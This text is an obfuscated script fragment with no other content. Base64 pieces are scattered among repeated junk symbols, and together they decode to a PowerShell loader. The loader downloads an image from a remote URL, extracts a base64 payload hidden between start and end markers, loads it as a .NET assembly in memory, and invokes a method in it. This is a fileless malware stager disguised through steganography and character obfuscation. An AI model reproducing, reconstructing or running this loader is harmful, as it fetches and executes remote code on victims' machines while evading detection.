䷸ ㈽ ⺹a↦ ☰ ䷸ ㈽ ⺹Bu↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹agBw↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹7↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹dwBl↦ ☰ ䷸ ㈽ ⺹GI↦ ☰ ䷸ ㈽ ⺹QwBs↦ ☰ ䷸ ㈽ ⺹Gk↦ ☰ ䷸ ㈽ ⺹ZQBu↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹9↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹TgBl↦ ☰ ䷸ ㈽ ⺹Hc↦ ☰ ䷸ ㈽ ⺹LQBP↦ ☰ ䷸ ㈽ ⺹GI↦ ☰ ䷸ ㈽ ⺹agBl↦ ☰ ䷸ ㈽ ⺹GM↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹FM↦ ☰ ䷸ ㈽ ⺹eQBz↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹ZQBt↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹TgBl↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹LgBX↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹YgBD↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹aQBl↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹7↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹aQBt↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹ZwBl↦ ☰ ䷸ ㈽ ⺹EI↦ ☰ ䷸ ㈽ ⺹eQB0↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹cw↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹D0↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹Hc↦ ☰ ䷸ ㈽ ⺹ZQBi↦ ☰ ䷸ ㈽ ⺹EM↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹bgB0↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹R↦ ☰ ䷸ ㈽ ⺹Bv↦ ☰ ䷸ ㈽ ⺹Hc↦ ☰ ䷸ ㈽ ⺹bgBs↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹YQBk↦ ☰ ䷸ ㈽ ⺹EQ↦ ☰ ䷸ ㈽ ⺹YQB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹K↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹Gk↦ ☰ ䷸ ㈽ ⺹bQBh↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹ZQBV↦ ☰ ䷸ ㈽ ⺹HI↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹p↦ ☰ ䷸ ㈽ ⺹Ds↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹G0↦ ☰ ䷸ ㈽ ⺹YQBn↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹V↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹Hg↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹D0↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹Bb↦ ☰ ䷸ ㈽ ⺹FM↦ ☰ ䷸ ㈽ ⺹eQBz↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹ZQBt↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹V↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹Hg↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹u↦ ☰ ䷸ ㈽ ⺹EU↦ ☰ ䷸ ㈽ ⺹bgBj↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹ZwBd↦ ☰ ䷸ ㈽ ⺹Do↦ ☰ ䷸ ㈽ ⺹OgBV↦ ☰ ䷸ ㈽ ⺹FQ↦ ☰ ䷸ ㈽ ⺹Rg↦ ☰ ䷸ ㈽ ⺹4↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹RwBl↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹UwB0↦ ☰ ䷸ ㈽ ⺹HI↦ ☰ ䷸ ㈽ ⺹aQBu↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹K↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹Gk↦ ☰ ䷸ ㈽ ⺹bQBh↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹ZQBC↦ ☰ ䷸ ㈽ ⺹Hk↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹HM↦ ☰ ䷸ ㈽ ⺹KQ↦ ☰ ䷸ ㈽ ⺹7↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹cwB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cgB0↦ ☰ ䷸ ㈽ ⺹EY↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹Bh↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹9↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹8↦ ☰ ䷸ ㈽ ⺹Dw↦ ☰ ䷸ ㈽ ⺹QgBB↦ ☰ ䷸ ㈽ ⺹FM↦ ☰ ䷸ ㈽ ⺹RQ↦ ☰ ䷸ ㈽ ⺹2↦ ☰ ䷸ ㈽ ⺹DQ↦ ☰ ䷸ ㈽ ⺹XwBT↦ ☰ ䷸ ㈽ ⺹FQ↦ ☰ ䷸ ㈽ ⺹QQBS↦ ☰ ䷸ ㈽ ⺹FQ↦ ☰ ䷸ ㈽ ⺹Pg↦ ☰ ䷸ ㈽ ⺹+↦ ☰ ䷸ ㈽ ⺹Cc↦ ☰ ䷸ ㈽ ⺹Ow↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹EY↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹Bh↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹9↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹8↦ ☰ ䷸ ㈽ ⺹Dw↦ ☰ ䷸ ㈽ ⺹QgBB↦ ☰ ䷸ ㈽ ⺹FM↦ ☰ ䷸ ㈽ ⺹RQ↦ ☰ ䷸ ㈽ ⺹2↦ ☰ ䷸ ㈽ ⺹DQ↦ ☰ ䷸ ㈽ ⺹XwBF↦ ☰ ䷸ ㈽ ⺹E4↦ ☰ ䷸ ㈽ ⺹R↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹+↦ ☰ ䷸ ㈽ ⺹D4↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹7↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹cwB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cgB0↦ ☰ ䷸ ㈽ ⺹Ek↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹e↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹D0↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹Gk↦ ☰ ䷸ ㈽ ⺹bQBh↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹ZQBU↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹e↦ ☰ ䷸ ㈽ ⺹B0↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹SQBu↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQB4↦ ☰ ䷸ ㈽ ⺹E8↦ ☰ ䷸ ㈽ ⺹Zg↦ ☰ ䷸ ㈽ ⺹o↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹cwB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cgB0↦ ☰ ䷸ ㈽ ⺹EY↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹Bh↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹KQ↦ ☰ ䷸ ㈽ ⺹7↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹ZQBu↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹SQBu↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQB4↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹PQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹aQBt↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹ZwBl↦ ☰ ䷸ ㈽ ⺹FQ↦ ☰ ䷸ ㈽ ⺹ZQB4↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹LgBJ↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹Hg↦ ☰ ䷸ ㈽ ⺹TwBm↦ ☰ ䷸ ㈽ ⺹Cg↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹BG↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹YQBn↦ ☰ ䷸ ㈽ ⺹Ck↦ ☰ ䷸ ㈽ ⺹Ow↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹HM↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bh↦ ☰ ䷸ ㈽ ⺹HI↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹BJ↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹Hg↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹t↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹D↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹t↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹BJ↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹Hg↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹t↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹cwB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cgB0↦ ☰ ䷸ ㈽ ⺹Ek↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹e↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹7↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹cwB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cgB0↦ ☰ ䷸ ㈽ ⺹Ek↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹e↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹Cs↦ ☰ ䷸ ㈽ ⺹PQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹cwB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cgB0↦ ☰ ䷸ ㈽ ⺹EY↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹Bh↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹LgBM↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹bgBn↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹a↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹7↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹YgBh↦ ☰ ䷸ ㈽ ⺹HM↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹2↦ ☰ ䷸ ㈽ ⺹DQ↦ ☰ ䷸ ㈽ ⺹T↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹ZwB0↦ ☰ ䷸ ㈽ ⺹Gg↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹9↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹BJ↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹Hg↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹t↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bz↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹YQBy↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹SQBu↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQB4↦ ☰ ䷸ ㈽ ⺹Ds↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bi↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cwBl↦ ☰ ䷸ ㈽ ⺹DY↦ ☰ ䷸ ㈽ ⺹N↦ ☰ ䷸ ㈽ ⺹BD↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹bQBt↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹PQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹aQBt↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹ZwBl↦ ☰ ䷸ ㈽ ⺹FQ↦ ☰ ䷸ ㈽ ⺹ZQB4↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹LgBT↦ ☰ ䷸ ㈽ ⺹HU↦ ☰ ䷸ ㈽ ⺹YgBz↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹cgBp↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Zw↦ ☰ ䷸ ㈽ ⺹o↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹cwB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cgB0↦ ☰ ䷸ ㈽ ⺹Ek↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹e↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹s↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bi↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cwBl↦ ☰ ䷸ ㈽ ⺹DY↦ ☰ ䷸ ㈽ ⺹N↦ ☰ ䷸ ㈽ ⺹BM↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹bgBn↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹a↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹p↦ ☰ ䷸ ㈽ ⺹Ds↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bj↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹bQBt↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹EI↦ ☰ ䷸ ㈽ ⺹eQB0↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹cw↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹D0↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹Bb↦ ☰ ䷸ ㈽ ⺹FM↦ ☰ ䷸ ㈽ ⺹eQBz↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹ZQBt↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹QwBv↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹dgBl↦ ☰ ䷸ ㈽ ⺹HI↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bd↦ ☰ ䷸ ㈽ ⺹Do↦ ☰ ䷸ ㈽ ⺹OgBG↦ ☰ ䷸ ㈽ ⺹HI↦ ☰ ䷸ ㈽ ⺹bwBt↦ ☰ ䷸ ㈽ ⺹EI↦ ☰ ䷸ ㈽ ⺹YQBz↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹Ng↦ ☰ ䷸ ㈽ ⺹0↦ ☰ ䷸ ㈽ ⺹FM↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹By↦ ☰ ䷸ ㈽ ⺹Gk↦ ☰ ䷸ ㈽ ⺹bgBn↦ ☰ ䷸ ㈽ ⺹Cg↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bi↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cwBl↦ ☰ ䷸ ㈽ ⺹DY↦ ☰ ䷸ ㈽ ⺹N↦ ☰ ䷸ ㈽ ⺹BD↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹bQBt↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹Ck↦ ☰ ䷸ ㈽ ⺹Ow↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹bwBh↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQBk↦ ☰ ䷸ ㈽ ⺹EE↦ ☰ ䷸ ㈽ ⺹cwBz↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹bQBi↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹eQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹D0↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹Bb↦ ☰ ䷸ ㈽ ⺹FM↦ ☰ ䷸ ㈽ ⺹eQBz↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹ZQBt↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹UgBl↦ ☰ ䷸ ㈽ ⺹GY↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹GM↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹bg↦ ☰ ䷸ ㈽ ⺹u↦ ☰ ䷸ ㈽ ⺹EE↦ ☰ ䷸ ㈽ ⺹cwBz↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹bQBi↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹eQBd↦ ☰ ䷸ ㈽ ⺹Do↦ ☰ ䷸ ㈽ ⺹OgBM↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹YQBk↦ ☰ ䷸ ㈽ ⺹Cg↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bj↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹bQBt↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹EI↦ ☰ ䷸ ㈽ ⺹eQB0↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹cw↦ ☰ ䷸ ㈽ ⺹p↦ ☰ ䷸ ㈽ ⺹Ds↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹B0↦ ☰ ䷸ ㈽ ⺹Hk↦ ☰ ䷸ ㈽ ⺹c↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹PQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹Bv↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹QQBz↦ ☰ ䷸ ㈽ ⺹HM↦ ☰ ䷸ ㈽ ⺹ZQBt↦ ☰ ䷸ ㈽ ⺹GI↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹B5↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹RwBl↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹V↦ ☰ ䷸ ㈽ ⺹B5↦ ☰ ䷸ ㈽ ⺹H↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹o↦ ☰ ䷸ ㈽ ⺹Cc↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bu↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹aQBi↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹SQBP↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹S↦ ☰ ䷸ ㈽ ⺹Bv↦ ☰ ䷸ ㈽ ⺹G0↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹n↦ ☰ ䷸ ㈽ ⺹Ck↦ ☰ ䷸ ㈽ ⺹Ow↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹G0↦ ☰ ䷸ ㈽ ⺹ZQB0↦ ☰ ䷸ ㈽ ⺹Gg↦ ☰ ䷸ ㈽ ⺹bwBk↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹PQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹B5↦ ☰ ䷸ ㈽ ⺹H↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹u↦ ☰ ䷸ ㈽ ⺹Ec↦ ☰ ䷸ ㈽ ⺹ZQB0↦ ☰ ䷸ ㈽ ⺹E0↦ ☰ ䷸ ㈽ ⺹ZQB0↦ ☰ ䷸ ㈽ ⺹Gg↦ ☰ ䷸ ㈽ ⺹bwBk↦ ☰ ䷸ ㈽ ⺹Cg↦ ☰ ䷸ ㈽ ⺹JwBW↦ ☰ ䷸ ㈽ ⺹EE↦ ☰ ䷸ ㈽ ⺹SQ↦ ☰ ䷸ ㈽ ⺹n↦ ☰ ䷸ ㈽ ⺹Ck↦ ☰ ䷸ ㈽ ⺹LgBJ↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹dgBv↦ ☰ ䷸ ㈽ ⺹Gs↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹o↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹bgB1↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹s↦ ☰ ䷸ 